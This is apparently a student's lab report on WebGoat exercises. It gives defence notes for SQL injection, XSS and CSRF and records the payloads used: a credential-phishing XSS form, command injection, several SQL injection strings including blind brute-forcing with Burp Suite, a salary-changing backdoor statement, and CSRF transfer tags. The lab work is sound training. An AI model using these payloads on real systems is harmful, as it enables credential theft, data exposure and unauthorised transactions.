20155211 网络对抗 Exp9 Web安全基础实践

基础问题回答

  • SQL注入攻击原理,如何防御?

    • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

    • 防御:

          1.对用户的输入进行校验。
      2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
      3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
      4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
      5.应用的异常信息应该给出尽可能少的提示。
      6.采取辅助软件或网站平台来检测sql注入。
  • XSS攻击的原理,如何防御?
    • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。

    • 防御:

         1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
      2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      3.实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • CSRF攻击原理,如何防御?
    • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

    • 防御:

         1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
      2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
      3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

实验过程

安装WebGoat

  • 开启webgoat,首先要下载java包,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar

    • 注意要把压缩包放在当前目录下,不然会报错
  • 在浏览器上访问localhost:8080/WebGoat,登录。

XSS攻击

Phishing with XSS

  • 需要在搜索框中输入如下代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

  • 攻击成功~

Stored XSS Attacks

  • 要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 直接在title里随便输入,然后在message中输入一串代码,比如:<script>alert("5211!");</script> 提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功!

Reflected XSS 反射型XSS攻击

  • 在code框中输入<script>alert("I am 5211xxy");</script>

Injection Flaws

Command Injection

  • 在目标主机上执行系统命令,通过火狐下的一个扩展Firebug对源代码进行修改,例如在BackDoors.help旁边加上& netstat -an & ipconfig

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

  • 表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。
  • 进行SQL注入在station字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station],要获得所有的天气数据,就在station中的任意一个值后面加入一个1=1,由于1=1为永真式,选择所修改的value所指向的城市,就可以得到所有的天气。

Log Spoofing

  • 我们输入的用户名会被追加到日志文件中。所以可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入xxy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
  • 如图所示为攻击成功;

LAB:SQL Injection

Stage 1:String SQL Injection
  • 使用字符串SQL注入在没有正确密码的情况下登录账号boss。
  • 查看源代码,去掉对输入长度的限制。
  • 在密码栏中输入``' or 1=1 --```进行SQL注入,登陆成功。

Stage 3:Numeric SQL Injection
  • 通过注入语句,浏览到原本无法浏览的信息。

  • 通过一个普通员工的账户larry,浏览其BOSS的账户信息。首先我们用上一题的办法登录Larry的账号:在密码框里输入' or 1=1 --,登录后发现我们只能看见Larry一个人的工资信息。

  • 浏览员工信息的按钮是ViewProfile.在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

String SQL Injection
  • 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
  • 构造一个永真式“1”,那么不管前面的WHERE是否成立都能执行,所以构造语句'or 1='1,成功得到了全部的信用卡号。

Blind Numeric SQL Injection
  • 目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,它只告诉你两种信息:帐号有效或无效,我们可以先输入语句

    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 查看pin数值是否大于10000
  • 后来确定在2000到2500之间,然后打开BurpSuite。
  • 设置:
    • 启动BurpSuite

    • 设置代理“Proxy”的“Options”选项:默认是8080端口被占用时需要添加一个新的端口5211,点击add

    • 添加后勾选,如图所示

    • 设置浏览器的代理

    • 打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings

    • 当于将burpsuite当成中间服务器,每个数据包都流过它。设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:

    • 在Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加(在此之前点击clear清空所有的)

    • 在Payloads中,选择type类型为number,然后设置变化范围2000-2500,并设置步长为1

    • 在Options中,选择Start attack开始攻击

    • 在这里找到数据包大小变化的位置2364,用2364试一下:

    • 注意:在关闭了burpsuite之后,把浏览器的代理调回不使用代理,否则浏览器上不了网

Database Backdoors
  • 先输入示例101进行尝试,得到了该用户的信息。

  • 输入注入语句:101; update employee set salary=90000

CSRF攻击

Cross Site Request Forgery

  • 需要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 查看自己电脑的Screen和menu的值,然后在message里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=scr值&menu=menu值&transferFunds=转账金额"/>
  • 提交后生成一个链接money
  • 点击即可查看用户操作的信息

CSRF Prompt By-Pass

  • 利用CSRF进行冒名操作转账,不过这次包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器。
  • 查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 提交后生成链接,点击

实验感想

这次实验遇到的最大的困难是语言问题,看着全英文的界面真的头疼。。不过实践过后还算是有所收获的。。做的还是蛮开心的。。

20155211 网络对抗 Exp9 Web安全基础实践的更多相关文章

  1. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  2. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  3. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  4. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  5. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  6. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  7. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

  9. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

随机推荐

  1. PGIS下载离线地图 SQLite+WPF

    项目是超高分辨率屏幕墙,实时在线加载PGIS地图速度会比较慢,造成屏幕大量留白.于是使用地图缓存,事先把这个区块的地图全部down下来,使用Sqlite数据库保存.留存. //Task taskDow ...

  2. 网络通信框架Retrofit2

    网络通信框架Retrofit2 1 概要 Retrofit2的简介以及特点 Retrofit2使用配置(导包,权限等) Retrofit2中常用的注解介绍 Retrofit2实现http网络访问 GE ...

  3. JS前端创建CSV或Excel文件并浏览器导出下载

    长期以来,在做文件下载功能的时候都是前端通过ajax把需要生成的文件的内容参数传递给后端,后端通过Java语言将文件生成在服务器,然后返回一个文件下载的连接地址url.前端通过location.hre ...

  4. cuda中用cublas库做矩阵乘法

    这里矩阵C=A*B,原始文档给的公式是C=alpha*A*B+beta*C,所以这里alpha=1,beta=0. 主要使用cublasSgemm这个函数,这个函数的第二个参数有三种类型,这里CUBL ...

  5. qtcreator minggw 支持c++11

    pro文件添加 QMAKE_CXXFLAGS += -std=c++11

  6. SublimeText3常用插件及快捷键总结

    SublimeText可谓是前端工程师的代码编辑神器,自从用上它以后一直爱不释手,特别是它强大的插件功能,简直要逆天了.网上也有很多关于SublimeText3的各种插件介绍,其插件功能之多,让人眼花 ...

  7. Git 命令快速浏览

    Git 命令快速浏览 创建 Git 可管理的仓库 git init 查看当前仓库的状态 git status 添加到仓库,实际上是添加到暂存区 git add [-A | --all] git add ...

  8. python编写脚本

    #!/usr/bin/env python #-*- coding:utf-8 -*- import sys import os from subprocess import Popen,PIPE c ...

  9. linq not in

    linq not in 查询 or join not in var query = from c in _opvRepository.Table join a in _orderRepository. ...

  10. 关于mybatis反向生成为什么有时候实体类会变成两个

    一般来说,将TEXT字段,从一张操作频繁的表中拆分出去,成为一个Key-Value结构的独立表是 好处颇多的. 其有利之处主要体现在下面三个方面: PS:以下的讨论对象均基于Innodb引擎 1. 便 ...